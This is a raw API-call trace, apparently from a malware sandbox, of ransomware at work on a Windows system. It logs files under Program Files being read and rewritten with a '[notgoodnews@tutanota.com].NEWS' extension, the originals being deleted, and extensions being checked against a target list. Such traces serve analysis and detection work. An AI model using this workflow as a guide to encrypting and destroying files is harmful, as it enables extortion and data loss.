0xffffffff [0065.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0065.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0065.795] lstrlenW (lpString=".doc") returned 4 [0065.795] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".docx") returned 5 [0065.795] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0065.795] lstrlenW (lpString=".pdf") returned 4 [0065.795] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".xls") returned 4 [0065.795] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".xlsx") returned 5 [0065.795] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0065.795] lstrlenW (lpString=".ppt") returned 4 [0065.795] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0065.795] lstrlenW (lpString=".zip") returned 4 [0065.795] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".rar") returned 4 [0065.795] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".bz2") returned 4 [0065.795] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.795] lstrlenW (lpString=".7z") returned 3 [0065.795] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0065.795] lstrlenW (lpString=".dbf") returned 4 [0065.795] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.354] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.354] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.354] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0067.354] GetLastError () returned 0x0 [0067.354] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0067.358] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0067.361] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.361] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0067.361] SetEndOfFile (hFile=0x37c) returned 1 [0067.361] CloseHandle (hObject=0x37c) returned 1 [0067.365] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.365] SetEndOfFile (hFile=0x378) returned 1 [0067.366] CloseHandle (hObject=0x378) returned 1 [0067.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.367] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0067.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.367] lstrlenW (lpString=".doc") returned 4 [0067.367] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0067.367] lstrlenW (lpString=".docx") returned 5 [0067.367] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0067.367] lstrlenW (lpString=".pdf") returned 4 [0067.367] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0067.367] lstrlenW (lpString=".xls") returned 4 [0067.367] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0067.367] lstrlenW (lpString=".xlsx") returned 5 [0067.367] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0067.367] lstrlenW (lpString=".ppt") returned 4 [0067.367] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0067.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.367] lstrlenW (lpString=".zip") returned 4 [0067.367] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0067.367] lstrlenW (lpString=".rar") returned 4 [0067.367] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".bz2") returned 4 [0067.368] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0067.368] lstrlenW (lpString=".7z") returned 3 [0067.368] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString=".dbf") returned 4 [0067.368] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString=".1cd") returned 4 [0067.368] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString=".jpg") returned 4 [0067.368] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString=".doc") returned 4 [0067.368] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".docx") returned 5 [0067.368] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0067.368] lstrlenW (lpString=".pdf") returned 4 [0067.368] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".xls") returned 4 [0067.368] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".xlsx") returned 5 [0067.368] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0067.368] lstrlenW (lpString=".ppt") returned 4 [0067.368] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.368] lstrlenW (lpString=".zip") returned 4 [0067.368] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".rar") returned 4 [0067.368] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0067.368] lstrlenW (lpString=".bz2") returned 4 [0067.368] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0067.368] lstrlenW (lpString=".7z") returned 3 [0067.368] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0067.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.369] lstrlenW (lpString=".dbf") returned 4 [0067.369] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0067.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.369] lstrlenW (lpString=".1cd") returned 4 [0067.369] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0067.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0067.369] lstrlenW (lpString=".jpg") returned 4 [0067.369] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0067.369] lstrcmpiW (lpString1=".txt", lpString2=".NEWS") returned 1 [0067.369] lstrlenW (lpString="README.txt") returned 10 [0067.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.370] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=46) returned 1 [0067.370] CloseHandle (hObject=0x378) returned 1 [0067.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0067.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.370] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.370] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0067.371] GetLastError () returned 0x0 [0067.371] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2e, lpOverlapped=0x0) returned 1 [0067.372] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x30, lpOverlapped=0x0) returned 1 [0067.373] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.373] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1 [0067.373] SetEndOfFile (hFile=0x37c) returned 1 [0067.373] CloseHandle (hObject=0x37c) returned 1 [0067.374] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.374] SetEndOfFile (hFile=0x378) returned 1 [0067.375] CloseHandle (hObject=0x378) returned 1 [0067.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.375] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0067.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.375] lstrlenW (lpString=".doc") returned 4 [0067.375] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.375] lstrlenW (lpString=".docx") returned 5 [0067.376] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0067.376] lstrlenW (lpString=".pdf") returned 4 [0067.376] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString=".xls") returned 4 [0067.376] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.376] lstrlenW (lpString=".xlsx") returned 5 [0067.376] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0067.376] lstrlenW (lpString=".ppt") returned 4 [0067.376] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString=".zip") returned 4 [0067.376] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.376] lstrlenW (lpString=".rar") returned 4 [0067.376] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString=".bz2") returned 4 [0067.376] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString=".7z") returned 3 [0067.376] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString=".dbf") returned 4 [0067.376] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString=".1cd") returned 4 [0067.376] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString=".jpg") returned 4 [0067.376] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.376] lstrlenW (lpString=".doc") returned 4 [0067.376] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString=".docx") returned 5 [0067.377] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0067.377] lstrlenW (lpString=".pdf") returned 4 [0067.377] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString=".xls") returned 4 [0067.377] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.377] lstrlenW (lpString=".xlsx") returned 5 [0067.377] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0067.377] lstrlenW (lpString=".ppt") returned 4 [0067.377] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.377] lstrlenW (lpString=".zip") returned 4 [0067.377] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.377] lstrlenW (lpString=".rar") returned 4 [0067.377] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString=".bz2") returned 4 [0067.377] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString=".7z") returned 3 [0067.377] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.377] lstrlenW (lpString=".dbf") returned 4 [0067.377] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.377] lstrlenW (lpString=".1cd") returned 4 [0067.377] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0067.377] lstrlenW (lpString=".jpg") returned 4 [0067.377] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.377] lstrcmpiW (lpString1=".txt", lpString2=".NEWS") returned 1 [0067.378] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0067.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.378] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=63933) returned 1 [0067.378] CloseHandle (hObject=0x378) returned 1 [0067.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0067.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0067.378] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.378] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0067.379] GetLastError () returned 0x0 [0067.379] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0067.381] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0067.383] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.383] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x118, lpOverlapped=0x0) returned 1 [0067.383] SetEndOfFile (hFile=0x37c) returned 1 [0067.383] CloseHandle (hObject=0x37c) returned 1 [0067.386] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.386] SetEndOfFile (hFile=0x378) returned 1 [0067.921] CloseHandle (hObject=0x378) returned 1 [0067.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.924] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0067.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.924] lstrlenW (lpString=".doc") returned 4 [0067.924] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.924] lstrlenW (lpString=".docx") returned 5 [0067.924] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0067.924] lstrlenW (lpString=".pdf") returned 4 [0067.924] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.924] lstrlenW (lpString=".xls") returned 4 [0067.925] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.925] lstrlenW (lpString=".xlsx") returned 5 [0067.925] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0067.925] lstrlenW (lpString=".ppt") returned 4 [0067.925] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString=".zip") returned 4 [0067.925] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.925] lstrlenW (lpString=".rar") returned 4 [0067.925] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString=".bz2") returned 4 [0067.925] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString=".7z") returned 3 [0067.925] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString=".dbf") returned 4 [0067.925] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString=".1cd") returned 4 [0067.925] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString=".jpg") returned 4 [0067.925] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.925] lstrlenW (lpString=".doc") returned 4 [0067.925] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString=".docx") returned 5 [0067.925] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0067.925] lstrlenW (lpString=".pdf") returned 4 [0067.925] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.925] lstrlenW (lpString=".xls") returned 4 [0067.925] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.925] lstrlenW (lpString=".xlsx") returned 5 [0067.925] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0067.926] lstrlenW (lpString=".ppt") returned 4 [0067.926] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.926] lstrlenW (lpString=".zip") returned 4 [0067.926] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.926] lstrlenW (lpString=".rar") returned 4 [0067.926] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.926] lstrlenW (lpString=".bz2") returned 4 [0067.926] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.926] lstrlenW (lpString=".7z") returned 3 [0067.926] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.926] lstrlenW (lpString=".dbf") returned 4 [0067.926] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.926] lstrlenW (lpString=".1cd") returned 4 [0067.926] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0067.926] lstrlenW (lpString=".jpg") returned 4 [0067.926] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0068.085] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.085] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0068.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.086] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=281) returned 1 [0068.086] CloseHandle (hObject=0x374) returned 1 [0068.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 